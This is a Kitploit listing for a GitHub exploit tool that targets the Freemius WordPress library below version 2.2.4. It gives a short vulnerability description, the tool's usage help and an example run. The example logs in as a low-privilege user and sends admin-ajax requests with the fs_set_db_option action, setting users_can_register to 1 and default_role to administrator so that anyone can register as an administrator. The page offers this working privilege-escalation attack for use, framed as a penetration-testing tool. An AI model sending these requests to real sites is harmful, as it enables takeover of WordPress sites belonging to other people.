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freemius-exploit — Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update | Kitploit
Tools/GitHubGitHub/randomrobbiebf/freemius-exploit
Authentication & AuthorizationPrivilege EscalationExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubrandomrobbiebf/freemius-exploit

freemius-exploit

Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update

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13 years agoNot yet reviewed

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freemius-exploit

Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update

Description

The library, used in numerous plugins, does not have proper authorization when updating blog options, allowing any authenticated users, such as a subscriber, to update arbitrary options.

Usage

root@kitploit:~
usage: exploit.py [-h] -u URL [-un USERNAME] [-p PASSWORD] [-f FIX]

Freemius Library < 2.2.4 - Subscriber+ Arbitrary Option Update Description: The library, used in numerous plugins, does not have proper authorization when updating blog
options, allowing any authenticated users, such as a subscriber, to update arbitrary options.

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Website URL
  -un USERNAME, --username USERNAME
                        WordPress username
  -p PASSWORD, --password PASSWORD
                        WordPress password
  -f FIX, --fix FIX     Reset after Exploit

Example

root@kitploit:~
$ python3 exploit.py -u http://wordpress.lan -un user -p useruser1
Plugin: wp-affiliate-disclosure   Version: 1.1.4   Not found.
Info: Using plugin 404-to-301 running version 3.0.1
Vulnerability check: http://wordpress.lan
Logged in successfully.
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=users_can_register&option_value=1
Option set successfully: http://wordpress.lan/wp-admin/admin-ajax.php?action=fs_set_db_option&option_name=default_role&option_value=administrator
You can now register a user as an admin user. Remember to run --fix yes after you have registered to prevent others exploiting the site.
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